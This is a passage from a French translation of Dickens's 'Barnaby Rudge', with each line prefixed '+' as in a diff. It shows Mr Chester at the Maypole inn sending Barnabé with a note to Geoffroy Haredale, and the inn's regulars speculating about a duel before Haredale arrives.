+aux gens de la vivacité, mais il resta sous le porche, les mains
+croisées derrière le dos. Il semblait s'amuser beaucoup à voir le
+vieux John, la bride à la main hésiter entre une violente envie
+d'abandonner l'animal à sa destinée, et une demi disposition à
+l'introduire dans la maison et à l'enfermer dans la salle à
+manger, pendant qu'il s'occuperait de son maître.
+
+«Peste soit de ce garçon! ah! le voici enfin, cria John, arrivé au
+zénith de sa détresse. Ne m'entendiez-vous pas appeler, polisson?»
+
+Le personnage auquel il s'adressait ne fit pas de réponse, mais,
+mettant sa main sur la selle il sauta dessus d'un bond, tourna la
+tête du cheval vers l'écurie et disparut en un instant.
+
+«Assez alerte, quand il est éveillé! dit l'étranger.
+
+-- Assez alerte, monsieur! répliqua John en regardant la place où
+il avait vu le cheval, comme s'il ne comprenait pas encore
+parfaitement ce qu'il était devenu.
+
+-- Il fond à l'oeil, c'est comme une goutte de mousse de vin de
+Champagne. Vous le regardez, il est là, vous le regardez encore et
+il n'y est plus.»
+
+Après avoir, sans plus de paroles, résumé dans cette brusque
+conclusion le long exposé qu'il voulait faire de toute la vie et
+du caractère de son domestique, John Willet, fier d'avoir parlé
+comme un oracle, conduisit le gentleman, par son grand escalier
+démantibulé, au meilleur appartement du Maypole.
+
+En conscience, il était bien assez spacieux, car il occupait toute
+la profondeur de la maison, et il avait à chaque bout une grande
+fenêtre dont l'ouverture était aussi large que beaucoup de
+chambres modernes. À ces fenêtres, quelques panneaux de verres de
+couleur, emblasonnés de fragments d'armoiries, quoique fêlés,
+rapiécés et brisés, restaient encore pour attester par leur
+présence que le premier propriétaire avait fait servir la lumière
+elle-même à la splendeur de son rang et enrôlé jusqu'au soleil
+parmi ses flatteurs, en lui commandant, lorsqu'il brillait dans sa
+chambre, de réfléchir les insignes de son ancienne famille et
+d'emprunter de nouvelles nuances à leur orgueil.
+
+Mais c'était dans les temps jadis, et à présent chaque petit rayon
+allait et venait à son gré, disant la vérité toute simple, toute
+nue et toute pénétrante. Quoique cette pièce fût la meilleure de
+l'auberge, elle avait le mélancolique aspect de la grandeur
+déchue, et elle était trop vaste pour qu'on y trouvât du
+confortable. Le frôlement de riches tentures flottant sur les
+murailles, et, ce qui vaut bien mieux, le frôlement des habits de
+la jeunesse et de la beauté; l'éclat des yeux des femmes,
+éclipsant les flambeaux et les bijoux qu'elles portaient; le son
+de douces voix, et la musique, et le bruit des pas des jeunes
+filles, tout cela autrefois avait été dans ce lieu et l'avait
+rempli de délices. Mais tout cela était parti, et en même temps
+toute allégresse. Il n'y avait plus là d'intérieur; d'enfants
+naissants, d'enfants élevés près du foyer paternel; le foyer même
+était devenu mercenaire, quelque chose qui s'achète et qui se
+vend, une vraie courtisane: mourez-y, asseyez-vous là, ou
+décampez; comme il vous plaira, ça m'est égal, il ne regrettait
+personne, ne s'inquiétait de personne, il entretenait seulement
+une chaleur égale et des sourires stéréotypés pour tout le monde.
+Dieu assiste l'homme dont le coeur change sans cesse dans le
+monde, comme un antique manoir qui devient une auberge!
+
+On n'avait fait aucun effort pour meubler cette glaciale solitude,
+mais on avait planté devant la large cheminée une colonie de
+chaises et de tables sur carré de tapis; elle était flanquée d'un
+paravent épouvantable que décoraient des figures grotesques et
+grimaçantes. Après avoir allumé de ses propres mains les fagots
+entassés sur l'âtre, le vieux John se retira pour tenir un grave
+conseil avec sa cuisinière touchant le repas de l'étranger, tandis
+que celui-ci, trouvant peu de chaleur dans ces fagots qui
+n'étaient pas encore enflammés, alla ouvrir un treillis à la
+fenêtre lointaine, et se réchauffa à la lueur languissante d'un
+froid soleil de mars.
+
+Quittant de temps en temps la fenêtre pour arranger les bûches qui
+pétillaient, ou pour se promener d'un bout à l'autre de cette
+chambre sonore, il la ferma quand le bois fut tout à fait embrasé,
+et ayant roulé dans le coin le plus chaud la meilleure bergère, il
+appela John Willet.
+
+«Monsieur,» dit John.
+
+C'était une plume, de l'encre, et du papier qu'il désirait. Il y
+avait sur la haute tablette de la cheminée un vieil écritoire
+contenant, parmi la poussière, quelque chose qui pouvait, à la
+rigueur, représenter ces trois articles. Ayant mis cela devant
+l'étranger, l'aubergiste se retirait quand on lui fit signe de
+rester.
+
+«Il y a une maison non loin d'ici, dit le monsieur, après avoir
+écrit quelques lignes, que vous nommez, je crois, la Garenne?
+
+Comme c'était dit du ton d'une personne qui connaissait le fait et
+ne questionnait que pour la forme, John se contenta d'incliner la
+tête en signe d'affirmation, il tira en même temps de son gousset
+une de ses mains, derrière laquelle il toussa, puis il la remit
+dans sa poche.
+
+«Je voudrais que ce billet, dit son hôte en jetant un coup d'oeil
+sur ce qu'il avait écrit et le pliant, fût porté là le plus tôt
+possible, et qu'on me rapportât une réponse. Avez-vous un messager
+tout prêt?»
+
+John resta pensif une minute ou environ, et alors il dit oui.
+
+«Faites-le monter.»
+
+Il y avait de quoi déconcerter notre homme car Joe étant dehors,
+et Hugh occupé à étriller le double poney alezan, il se proposait
+de charger de la commission Barnabé, qui venait précisément
+d'arriver au Maypole dans une de ses excursions et qui, une fois
+persuadé qu'il était chargé de quelque affaire grave et sérieuse,
+serait allé n'importe où.
+
+«Mais, la vérité est, dit John après une longue pause, que la
+personne qui ferait le plus vite la commission est une espèce
+d'idiot, monsieur; et quoiqu'il ait le pied leste, et qu'on puisse
+se fier à lui comme à la poste elle-même, il n'est pas bon pour
+parler; car il est timbré, monsieur, il bat la campagne.
+
+-- Vous ne voulez pas, dit son hôte, levant les yeux sur la grasse
+figure de John, vous ne voulez pas parler de... Quel est donc le
+nom de ce garçon? Vous ne voulez pas parler de Barnabé?
+
+-- Si fait bien, répliqua l'aubergiste, dont la surprise rendait
+les traits singulièrement expressifs.
+
+-- Comment se trouve-t-il ici? demanda l'étranger en se renversant
+dans la bergère, parlant du ton agréable et égal qu'il avait
+toujours soutenu, et gardant sur sa figure le même sourire
+invariablement doux et courtois. Je l'ai vu à Londres hier soir.
+
+-- Il est toujours comme ça, ici à cette heure, là le moment
+d'après, répondit le vieux John, après sa pause ordinaire pour
+laisser le temps à la question de bien entrer dans son esprit.
+Quelquefois il marche; quelquefois il court. Chacun le connaît
+tout le long de la route; quelquefois il arrive ici dans un
+chariot ou dans une voiture, quelquefois en croupe. Il va et
+vient, à travers le vent, la pluie, la neige, la grêle, et par les
+nuits les plus noires. Rien ne lui fait du mal, à _lui_.
+
+-- Il va souvent à la Garenne, n'est-ce pas? dit l'hôte
+négligemment. Je crois me rappeler que sa mère me contait hier
+quelque chose comme ça. Mais je n'ai pas fait grande attention à
+ce que me disait la bonne femme.
+
+-- Vous ne vous trompez pas, monsieur, répondit John, il y va
+souvent. Son père, monsieur, a été assassiné dans cette maison.
+
+-- Je l'ai entendu dire, répliqua l'hôte en tirant de sa poche,
+avec le même sourire, un cure-dent d'or. C'est très désagréable
+pour la famille.
+
+-- Extrêmement, dit John d'un air embarrassé, comme s'il
+entrevoyait à l'horizon que c'était traiter le sujet un peu
+légèrement.
+
+-- Toutes les circonstances qui suivent un assassinat, continua
+l'étranger dans une espèce de soliloque, doivent être terriblement
+déplaisantes. Tant de mouvement et de remue-ménage, pas de repos,
+un texte éternel de conversation, des gens qui entrent et sortent
+en courant, qui montent et descendent l'escalier, c'est
+intolérable. Je ne voudrais pas que pareille chose arrivât à
+n'importe qui dans mes connaissances, ma parole d'honneur. Il y
+aurait de quoi rendre malheureux au possible. Vous vouliez me
+dire, mon ami? ajouta-t-il en se retournant de nouveau vers John.
+
+-- Seulement que Mme Rudge vit d'une petite pension qu'elle reçoit
+de la famille, et que Barnabé n'est pas plus gêné là que le chat
+ou le chien de la maison, répondit John. Le chargerai-je de votre
+commission, monsieur?
+
+-- Oh! oui, répliqua l'hôte, oh! certainement. Il faut que vous
+l'en chargiez. Ayez la bonté de l'amener ici pour que je lui
+recommande d'aller vite. S'il faisait quelque objection, vous
+pouvez lui dire que c'est M. Chester. Il se rappellera mon nom,
+j'en suis sûr.»
+
+John fut si étonné d'apprendre qui était son hôte, qu'il fut
+incapable d'en exprimer son étonnement, ni par son regard, ni
+d'aucune autre manière; et il quitta la chambre aussi tranquille,
+aussi imperturbable que si de rien n'était. On rapporte qu'après
+avoir descendu l'escalier, il regarda fixement le chaudron dix
+minutes durant à l'horloge, et que pendant ce temps-là il ne cessa
+pas de secouer sa tête. Ce fait prend un nouveau caractère de
+vraisemblance, si on le rapproche de cette circonstance, qu'il est
+certain que c'est juste l'intervalle de temps qui s'écoula, montre
+en main, avant que John revînt avec Barnabé à l'appartement de son
+hôte.
+
+«Approchez, mon garçon, dit M. Chester. Vous connaissez
+M. Geoffroy Haredale?»
+
+Barnabé se mit à rire, et il regarda l'aubergiste comme pour lui
+dire: «Vous l'entendez?»
+
+John, choqué grandement de cette atteinte portée au décorum,
+appliqua son doigt sur son nez, et secoua la tête en manière de
+muette remontrance.
+
+«Il le connaît, monsieur, dit John, en regardant Barnabé de côté
+et en fronçant le sourcil, aussi bien que vous et moi.
+
+-- Je n'ai pas le plaisir de connaître beaucoup ce monsieur,
+répliqua l'hôte. Vous, c'est peut-être différent. Par conséquent
+parlez pour vous, mon ami.»
+
+Quoiqu'il eût dit cela avec la même affabilité pleine d'aisance et
+le même sourire, John se sentit remis à sa place, et, jetant sur
+le dos de Barnabé cette mortification, il se promit bien de
+chasser à coups de pied son corbeau à la première occasion
+favorable.
+
+«Donnez ceci, dit l'hôte, qui avait maintenant cacheté le billet,
+et qui tout en parlant faisait signe à son commissionnaire
+d'approcher de lui, à M. Haredale en personne. Attendez la
+réponse, et apportez-la-moi ici. Dans le cas où M. Haredale serait
+occupé en ce moment, dites-lui... Peut il se rappeler un message
+verbal, monsieur l'aubergiste?
+
+-- Quand il veut monsieur, répliqua John. Il n'oubliera pas celui-
+ci.
+
+-- Comment êtes-vous certain de cela?»
+
+John lui montra simplement Barnabé, debout, la tête penchée en
+avant, son oeil sérieux étroitement fixé sur la figure du monsieur
+qui l'interrogeait, et lui faisant gravement signe de la tête
+qu'il avait compris ses ordres.
+
+«Dites-lui donc, Barnabé, s'il était occupé, reprit M. Chester,
+que j'attendrai avec plaisir qu'il soit à sa convenance de se
+rendre ici, et que je le recevrai (s'il me demande) à n'importe
+quelle heure, ce soir... Au pis allez, je peux avoir un lit ici,
+Willet, je suppose?»
+
+Le vieux John, immensément flatté de la notoriété personnelle
+qu'impliquait cette forme familière d'interpellation répondit d'un
+air malin: «Mais je le pense, monsieur, je le pense,» et il
+roulait dans son esprit diverses formes d'éloges, avec l'intention
+d'en choisir une appropriée aux qualités de son meilleur lit,
+lorsque ses idées furent mises en déroute par M. Chester, qui
+donna la lettre à Barnabé en lui commandant de partir à toute
+vitesse.
+
+«Vitesse! dit Barnabé en serrant le petit paquet dans son gilet!
+Vitesse! Si vous voulez voir hâte et mystère, venez ici. Ici!»
+
+En disant cela, il mit sa main, à la grande horreur de John
+Willet, sur la belle manche de la redingote de M. Chester, et le
+conduisit à pas furtifs vers la fenêtre du fond.
+
+«Regardez là en bas, dit-il doucement; voyez comme ils chuchotent
+aux oreilles les uns des autres; et puis comme ils dansent et
+sautent pour faire croire qu'ils s'amusent! Voyez-vous comme ils
+s'arrêtent un moment, quand ils présument que personne n'est là
+qui les voie, et marmottent de nouveau entre eux, et puis comme
+ils se roulent et gambadent, ravis des méfaits qu'ils viennent de
+comploter? Regardez-les maintenant. Voyez comme ils tourbillonnent
+et plongent. Et maintenant ils s'arrêtent encore, et chuchotent
+ensemble avec précaution. Ils ne songent guère, voyez-vous,
+combien de fois je me suis couché sur l'herbe pour les épier...
+Dites donc, quel est le complot qu'ils couvent? Le savez-vous?
+
+-- Je ne vois là que du linge, répliqua l'hôte, tel que nous en
+portons. Il pend sur ces cordes pour sécher, et il voltige au
+vent.
+
+-- Du linge! répéta Barnabé en le regardant presque dans le blanc
+des yeux et se rejetant aussitôt en arrière. Ha! ha! Eh mais! en
+ce cas, il vaut mieux être insensé comme moi que d'avoir la raison
+comme vous! Vous ne voyez pas là des êtres fantastiques semblables
+à ceux qui habitent le sommeil? Vous ne les voyez pas, vous? Ni
+des yeux dans les panneaux de vitres, ni des spectres rapides
+lorsque le vent souffle avec violence, et vous n'entendez pas des
+voix dans l'air, et vous ne voyez pas des hommes qui marchent dans
+le ciel? Rien de tout cela n'existe pour vous! Je mène une vie
+plus joyeuse que vous, avec toute votre raison. Vous êtes des
+esprits lourds. Les esprits subtils, c'est nous autres. Ha! ha! je
+ne changerais pas avec vous, moi! avec tout votre esprit.»
+
+En disant cela, il agita son chapeau au-dessus de sa tête et
+partit comme un trait.
+
+«Étrange créature, ma parole! dit M. Chester en tirant une belle
+boîte et prenant une prise de tabac.
+
+-- Il manque d'imagination, dit M. Willet très lentement et après
+un long silence; c'est là ce qui lui manque. J'ai essayé de lui en
+infuser mainte et mainte fois; mais... (John ajouta ceci d'une
+manière confidentielle) il n'est pas propre à ça, voilà le fait.»
+
+Il serait bien déplacé de rappeler que M. Chester sourit de la
+remarque de John. Dans tous les cas, cela ne l'empêcha pas de
+conserver toujours le même regard conciliant et agréable.
+Toutefois il rapprocha du feu sa bergère, comme s'il eût voulu
+insinuer qu'il préférait être seul, et John, n'ayant plus d'excuse
+raisonnable pour rester, le laissa à lui-même.
+
+Le vieux John Willet fut très pensif pendant qu'on prépara le
+dîner; et, si son cerveau était jamais moins lucide dans un moment
+que dans un autre, il est fort naturel de supposer qu'il dut y
+jeter ce jour-là un fier trouble à force de secouer sa tête en
+ruminant. Que M. Chester, connu dans tout le voisinage pour être
+au plus mal avec M. Haredale, fût venu de Londres dans l'unique
+but, semblait-il, de le voir, et qu'il eût choisi le Maypole pour
+le théâtre de leur entrevue, et qu'il eût envoyé un exprès,
+c'étaient là autant de pierres d'achoppement contre lesquelles
+venait se briser toute l'intelligence de John. Sa seule ressource
+était de consulter le chaudron et d'attendre avec impatience le
+retour de Barnabé.
+
+Mais Barnabé n'avait jamais été si long à revenir. Le dîner de
+l'hôte fut servi, enlevé, son vin fut mis sur la table, le feu
+ravitaillé, l'âtre proprement balayé; le jour baissa, la brune
+vint, il fit tout à coup noir, et Barnabé ne parut pas. Cependant,
+quoique John Willet fût plein d'étonnement et de méfiance, son
+hôte demeura assis dans sa bergère, une jambe sur l'autre, sans
+plus de dérangement, selon toute apparence, en ses pensées qu'en
+son costume; le même monsieur tranquille, à son aise, froid,
+n'ayant pas l'air de songer à autre chose qu'à son cure-dent d'or.
+
+«Barnabé tarde bien, dit John, qui hasarda cette observation en
+plaçant sur la table une paire de chandeliers ternis, hauts de
+trois pieds, ou peu s'en faut, et en mouchant les chandelles qui
+les allongeaient encore.
+
+-- Il tarde un peu, répliqua l'hôte en dégustant son vin. Il ne
+tardera guère davantage, assurément.»
+
+John toussa, et en même temps il dégagea le feu.
+
+«Comme vos routes n'ont pas une très bonne réputation, si du moins
+j'en peux juger d'après l'accident de mon fils, dit M. Chester, et
+comme je ne me soucie pas de recevoir un coup sur la tête, ce qui
+non seulement déconcerte pour l'instant, mais vous met en outre
+dans une position ridicule aux yeux des gens qui surviennent et
+vous ramassent, je resterai ici ce soir. Vous m'avez dit, il me
+semble, que vous aviez un lit de réserve?
+
+-- Et un lit, monsieur, répliqua John, un lit comme il y en a peu,
+même dans les maisons aristocratiques, un lit qui ne bouge pas
+d'ici, monsieur. J'ai entendu dire que ce lit-là avait près de
+deux cents ans. Votre noble fils, un beau jeune homme, est la
+dernière personne, monsieur, qui ait couché dedans il y a six
+mois.
+
+-- Ma foi, vous êtes heureux dans vos recommandations! dit l'hôte
+en haussant les épaules et roulant sa bergère plus près du feu.
+Veillez à ce que les draps soient bien séchés monsieur Willet, et
+faites allumer en même temps un feu vif dans la chambre. Cette
+maison est humide et glaciale.»
+
+John releva encore les fagots, plus par habitude que par présence
+d'esprit, ou pour donner satisfaction à l'observation faite, et il
+était sur le point de se retirer quand on entendit rebondir un pas
+sur l'escalier. Barnabé entra haletant.
+
+«Il aura le pied à l'étrier dans une heure d'ici, cria-t-il en
+s'approchant; il a couru à cheval toute la journée, il arrive chez
+lui à la minute; mais il se remettra en selle, dès qu'il aura
+mangé et bu, pour venir voir son bien cher ami.
+
+-- Est-ce là son message? demanda l'hôte en levant les yeux, mais
+sans le plus léger trouble, ou du moins sans le plus léger signe
+de trouble.
+
+-- Tout son message, sauf les derniers mots, répliqua Barnabé,
+mais il en avait la pensée: j'ai vu cela sur sa figure.
+
+-- Voici pour votre peine, dit l'autre en lui mettant de l'argent
+dans la main et le regardant fixement; voici pour votre peine,
+pénétrant Barnabé.
+
+-- Pour Grip, et moi, et Hugh, à partager entre nous, répliqua-t-
+il en serrant l'argent et en inclinant la tête, tandis qu'il le
+comptait sur ses doigts. Grip un, moi deux, Hugh trois; le chien,
+la chèvre, les chats, bon; nous aurons bientôt dépensé ça, je vous
+en avertis. Arrêtez, regardez. Vous autres hommes sensés, vous ne
+voyez rien ici, maintenant?»
+
+Il se pencha vivement, un genou sur l'autre, et contempla d'un
+regard intense la fumée roulant vers le haut de la cheminée en un
+nuage épais et noir. John Willet, qui paraissait se considérer
+comme la personne à laquelle Barnabé avait fait particulièrement
+et principalement allusion en parlant d'hommes sensés, regarda du
+même côté que lui et avec une physionomie des plus assurées.
+
+«Maintenant, dites-moi où ils vont quand ils s'élancent aussi vite
+que ça, demanda Barnabé. Pourquoi se serrent-ils de si près en se
+talonnant les uns les autres, et pourquoi se dépêchent-ils
+toujours ainsi? Vous me blâmez d'en faire autant, mais je ne fais
+que prendre exemple sur ces êtres actifs qui m'entourent. Là! les
+voilà encore! ils se saisissent les uns les autres par leurs
+basques; et, si vite qu'ils aillent, il y en a d'autres qui les
+suivent et les rattrapent! La joyeuse danse que c'est là! Je
+voudrais que Grip et moi pussions nous trémousser de la sorte!
+
+-- Qu'a-t-il donc dans cette corbeille qui est sur son dos?
+demanda l'hôte au bout de quelques moments, durant lesquels
+Barnabé resta penché sur l'âtre, à regarder le haut de la cheminée
+et à épier la fumée d'un air sérieux.
+
+-- Là dedans? répondit-il en sautant tout droit sur ses pieds,
+avant que John Willet eût pu répondre, secouant la corbeille et
+baissant la tête pour écouter. Là dedans? ce qu'il y a là dedans?
+Dis-le-lui!
+
+-- Un démon, un démon, un démon, cria une voix rauque.
+
+-- Voici de l'argent! dit Barnabé en le faisant sonner dans sa
+main, de l'argent pour nous régaler, Grip!
+
+-- Hourra! hourra! Hourra! répliqua le corbeau. Allons, courage.
+N'aie pas peur. Coa, coa, coa.»
+
+M. Willet, qui semblait douter fortement qu'un chaland ayant un
+habit à garniture et portant de beau linge dût être exposé au
+soupçon d'avoir jamais eu le moindre rapport avec d'aussi vilains
+messieurs que le corps infernal dont l'oiseau se vantait d'être
+membre, emmena Barnabé là-dessus, pour éviter toute autre
+observation malsonnante, et quitta la chambre en faisant sa plus
+belle révérence.
+
+
+
+
+CHAPITRE XI.
+
+
+Grandes nouvelles ce soir-là pour les habitués réguliers du
+Maypole! Quand chacun d'eux entrait séparément pour occuper la
+place qui lui était échue en partage dans le coin de la cheminée,
+John, avec une lenteur de débit très frappante et un chuchotement
+apoplectique, lui communiquait que M. Chester était seul dans
+l'appartement d'en haut, et qu'il y attendait M. Geoffroy
+Haredale, auquel il avait envoyé une lettre (sans doute d'une
+nature menaçante) par les mains de Barnabé, qui se trouvait là.
+
+Pour un petit noyau de fumeurs et de cancaniers affamés, rarement
+à pareille fête, c'était la plus admirable des aubaines. Il y
+avait là un bon mystère, bien sombre, et qui se développait sous
+le toit même qui les abritait, servi tout chaud, pour ainsi dire,
+au coin du feu, et dont ils allaient se régaler sans le moindre
+trouble, la moindre peine. On ne saurait croire quel goût, quelle
+saveur cela donnait à la boisson, quel nouveau parfum au tabac.
+Chacun fumait sa pipe avec une figure pleine de graves et
+sérieuses délices, et en regardant son voisin avec une sorte de
+paisible congratulation. Oui, on sentait si bien que c'était une
+soirée spéciale, une véritable fête, que, sur la motion du petit
+Salomon Daisy, chacun (y compris John lui-même) déboursa ses six
+pence pour un pot de _flip_[13], breuvage agréable qui fut préparé
+le plus diligemment possible, et placé au milieu d'eux sur le
+carreau de brique, afin de le faire bouillir doucement et mijoter
+à petit feu, pour qu'en même temps l'odorante vapeur, s'élevant
+parmi eux et se combinant avec les guirlandes de fumée qui
+sortaient de leurs pipes, les enveloppât d'une délicieuse
+atmosphère de leur goût, et les dérobât au monde entier.
+L'ameublement même de la salle en devenait plus moelleux et
+prenait une teinte plus foncée; les plafonds et les murs avaient
+l'air plus noirs et d'un plus beau poli; les rideaux semblaient
+d'un rouge plus éclatant; les flammes étaient plus vives et plus
+hautes, et les grillons gazouillaient dans l'âtre avec plus de
+satisfaction qu'à l'ordinaire.
+
+Il y avait là pourtant deux personnages qui prenaient une bien
+petite part au contentement général. L'un était Barnabé lui-même,
+qui dormait, ou, pour éviter d'être assiégé de questions, feignait
+de dormir dans l'encoignure de la cheminée; l'autre était Hugh,
+qui dormait aussi, étendu sur le banc du côté opposé, à la pleine
+lueur du feu flamboyant.
+
+La lumière qui tombait sur cette forme inerte la montrait dans
+toutes ses musculeuses et élégantes proportions. C'était celle
+d'un jeune homme au robuste corps d'athlète, à la vigueur de
+géant, dont la figure brûlée par le soleil et le cou basané,
+couverts d'une chevelure d'un noir de jais, eussent pu servir de
+modèle à un peintre. Vêtu, de la manière la plus négligée, d'un
+costume des plus grossiers et des plus rudes, avec des brins de
+paille et de foin, son lit habituel, attachés çà et là et mêlés à
+ses boucles vierges du peigne, il s'était endormi dans une posture
+aussi sans façon que son habillement. La négligence et le désordre
+de toute sa personne, avec quelque chose de farouche et de sombre
+dans ses traits, lui donnaient une pittoresque apparence qui
+attira les regards, même des clients du Maypole, quoiqu'ils le
+connussent bien, et fit dire au long Parkes que jamais Hugh
+n'avait plus ressemblé que ce soir à un coquin de braconnier.
+
+«Il attend ici, je suppose, dit Salomon, afin de prendre le cheval
+de M. Haredale.
+
+-- En effet, monsieur, répliqua John Willet. Il n'est pas souvent
+dans la maison, vous savez; il est mieux à son aise parmi les
+chevaux que parmi les hommes. Je le considère lui-même comme un
+animal.»
+
+Accompagnant cette opinion d'un haussement d'épaules qui avait
+l'air de vouloir dire: «Nous ne pouvons pas espérer que chacun
+nous ressemble,» John remit sa pipe dans la bouche, et fuma comme
+quelqu'un qui sent sa supériorité sur le commun des hommes.
+
+«Ce gaillard-là, monsieur, dit John ôtant de nouveau sa pipe de
+ses lèvres, après un entr'acte assez long et en montrant Hugh avec
+le tuyau, quoiqu'il ait en lui toutes ses facultés, mises en
+bouteilles et bien bouchées, par exemple, si je peux m'exprimer
+ainsi...
+
+-- Très bien! dit Parkes en inclinant la tête. Excellentes
+expressions, Johnny. Vous allez empoigner quelqu'un tout à l'heure
+Je vois que vous êtes en veine, ce soir.
+
+-- Prenez garde, dit M. Willet, sans la moindre gratitude pour le
+compliment, que je ne vous empoigne tout le premier, monsieur,
+c'est ce que je ne manquerai pas de faire si vous m'interrompez
+quand je fais des observations.
+
+-- Ce gaillard-là, disais-je, quoiqu'il ait toutes ses facultés au
+dedans de lui-même d'un côté ou d'un autre, mises en bouteilles et
+bien bouchées n'a pas plus d'imagination que Barnabé n'en a. Et
+pourquoi n'en a-t-il pas plus?»
+
+Les trois amis secouèrent leurs têtes l'un vers l'autre, comme
+pour dire par ce simple geste, sans se donner la peine d'ouvrir
+leurs lèvres: «Remarquez-vous l'esprit philosophique de notre
+ami?»
+
+«Pourquoi n'en a-t-il pas? reprit John en frappant doucement la
+table de sa main étendue. Parce qu'on ne les lui a point
+débouchées lorsqu'il était petit garçon, voilà pourquoi. Qu'aurait
+été chacun de nous, si nos pères ne nous avaient point débouché
+nos facultés? Qu'aurait été mon petit garçon Joe, si je ne lui
+avais point débouché ses facultés? Écoutez-vous ce que je suis en
+train de vous dire, messieurs?
+
+-- Ah! certes oui, nous vous écoutons, cria Parkes. Continuez pour
+notre instruction, Johnny.
+
+-- Conséquemment alors, dit M. Willet, ce gaillard-là, dont la
+mère, lorsqu'il était tout petit garçon, fut pendue avec six
+autres, pour avoir passé de faux billets de banque, et c'est une
+bénédiction de penser combien il y a de gens pendus par fournée
+toutes les six semaines, pour cela ou pour autre chose, car ça
+montre l'extrême vigilance de notre gouvernement, ce gaillard-là,
+qui fut dès lors abandonné à lui-même, qui eut à garder les
+vaches, à servir d'épouvantail aux oiseaux, à faire je ne sais
+quoi pour gagner son pain, qui arriva par degrés à soigner les
+chevaux, et par la suite des temps à coucher dans les greniers et
+la litière, au lieu de dormir sous les meules de foin et les
+haies, jusqu'à ce qu'enfin il devînt le palefrenier du Maypole,
+pour sa nourriture, son logement et une modique somme annuelle; ce
+gaillard-là qui ne sait ni lire ni écrire, et qui n'a jamais eu
+beaucoup de rapports avec autre chose que des animaux, et qui n'a
+jamais vécu en aucune manière autrement que comme les animaux
+parmi lesquels il a vécu, c'est un animal, et, ajouta M. Willet,
+en tirant des prémisses sa conclusion logique, il doit être traité
+en conséquence.
+
+-- Willet, dit Salomon Daisy, qui avait témoigné quelque
+impatience à voir l'intrusion d'un sujet si indigne dans le thème
+bien plus intéressant de leur conversation, lorsque M. Chester est
+arrivé ce matin, a-t-il demandé la grande chambre?
+
+-- Il déclara, monsieur, dit John, qu'il désirait un vaste
+appartement. Oui, c'est certain.
+
+-- Eh bien! voulez-vous que je vous dise? reprit Salomon en
+parlant doucement et d'un air sérieux. Ils vont s'y battre en
+duel, lui et M. Haredale.»
+
+Chacun regarda M. Willet, après cette insinuation alarmante.
+M. Willet regarda le feu, en pesant dans son propre esprit les
+résultats qu'une telle rencontre aurait, selon toute apparence,
+pour l'établissement.
+
+«Possible, dit John, je ne sais pas... Je suis sûr... Je me
+rappelle que, la dernière fois que je suis monté là-haut, il avait
+mis les chandeliers sur les tablettes de la cheminée.
+
+-- C'est une chose aussi évidente, répliqua Salomon, que le nez de
+Parkes sur sa figure.
+
+M. Parkes, dont le nez était fort gros, le frotta, et eut l'air de
+considérer ceci comme une personnalité. C'est qu'ils se battront
+dans cette chambre. Rien de plus commun, vous le savez par les
+journaux, que les duels des gentlemen dans les cafés, sans
+témoins. L'un d'eux sera blessé ou peut-être tué dans cette
+auberge.
+
+-- Alors c'était un cartel que la lettre dont Barnabé fut le
+porteur, hein? dit John.
+
+-- Contenant une bande de papier avec la mesure de son épée
+dessus, je paierais une guinée, répondit le petit homme. Nous
+connaissons le caractère de M. Haredale. Vous nous avez raconté ce
+que Barnabé avait dit de ses regards, quand il revint. Croyez-moi,
+je suis dans le vrai. Maintenant, attention.»
+
+Le flip n'avait pas encore eu de saveur. Le tabac n'avait été
+qu'un vil produit du sol anglais, comparé à son parfum d'à
+présent. Un duel dans la grande vieille chambre au premier étage,
+et le meilleur lit de l'hôtel commandé d'avance pour le blessé!
+
+«Mais sera-ce à l'épée ou au pistolet? dit John.
+
+-- Dieu le sait. Peut être au pistolet et à l'épée, répliqua
+Salomon. Ces messieurs-là portent l'épée, et ils peuvent aisément
+avoir des pistolets dans leurs poches, il est fort probable, ma
+foi qu'ils en ont. S'ils tirent l'un sur l'autre sans se toucher,
+alors ils dégaineront et se mettront à en découdre sérieusement.»
+
+Un nuage passa sur la figure de M. Willet, lorsqu'il réfléchit aux
+vitres cassées, aux rideaux endommagés, mais s'étant expliqué à
+lui-même que l'un des deux adversaires survivrait probablement et
+payerait le dégât, sa figure redevint rayonnante.
+
+«Et puis, dit Salomon, regardant tour à tour chaque figure, nous
+aurons alors sur le plancher une de ces taches qui ne s'en vont
+jamais. Si M. Haredale gagne, croyez-moi, ce sera une tache
+profonde, ou, s'il perd, c'en sera une plus profonde encore, car
+jamais il ne cédera qu'il ne soit abattu. Nous en savons quelque
+chose, hein?
+
+-- Ah! oui nous en savons quelque chose, chuchotèrent-ils tous
+ensemble.
+
+-- Quant à jamais disparaître, continua Salomon, je vous dis que
+jamais, cela ne pourra se faire. Ne savez-vous pas qu'on a essayé
+pareille chose dans une certaine maison que vous connaissez?
+
+-- La Garenne! cria John. Non, bien sûr!
+
+-- Si, bien sûr, si vraiment. Seulement il y a très peu de gens
+qui le sachent Et, avec tout cela, on en a assez causé. On rabota
+le parquet pour la faire disparaître: mais elle y resta. Le rabot
+entama le parquet profondément, elle glissa plus profondément. On
+posa de nouvelles planches; mais une grande tache perça encore, et
+se montra à l'ancienne place. Et... Écoutez; approchez-vous.
+M. Geoffroy Haredale fit de cette chambre son cabinet d'étude, et
+c'est là qu'il s'assoit, ayant toujours (à ce que j'ai entendu
+dire) son pied sur la tache, parce qu'il a la conviction, après y
+avoir longtemps et beaucoup pensé, que jamais elle ne s'effacera
+qu'il ne découvre l'homme qui commit le crime.»
+
+Ce récit finissait, et ils se rapprochaient tous du feu en cercle,
+lorsque retentit au dehors le piétinement d'un cheval.
+
+«C'est lui! cria John, se levant avec précipitation. Hugh! Hugh!»
+
+Le dormeur bondit sur ses pieds, tout chancelant, et s'élança
+derrière son maître.
+
+John revint presque aussitôt, introduisant avec des marques
+d'extrême déférence (car M. Haredale était son propriétaire) le
+visiteur longtemps attendu. Celui-ci entra à grands pas dans la
+salle, en faisant résonner ses grosses bottes sur le carreau; il
+parcourut d'un oeil perçant le groupe qui le saluait, et il
+souleva son chapeau pour reconnaître leur hommage de profond
+respect.
+
+«Vous avez ici, Willet, un étranger qui m'a envoyé quelqu'un, dit-
+il d'une voix dont le timbre était naturellement grave et sévère.
+Où est-il?
+
+-- Dans la grande chambre d'en haut, monsieur, répondit John.
+
+-- Conduisez-moi. Votre escalier est sombre, autant que je me
+rappelle. Messieurs, bonsoir.»
+
+En disant cela, il fit signe à l'aubergiste d'aller devant; et,
+lorsqu'il sortit de la salle, on entendit résonner ses bottes sur
+l'escalier. Le vieux John, dans son agitation, éclairait
+ingénieusement tout autre chose que le chemin, et trébuchait à
+chaque pas.
+
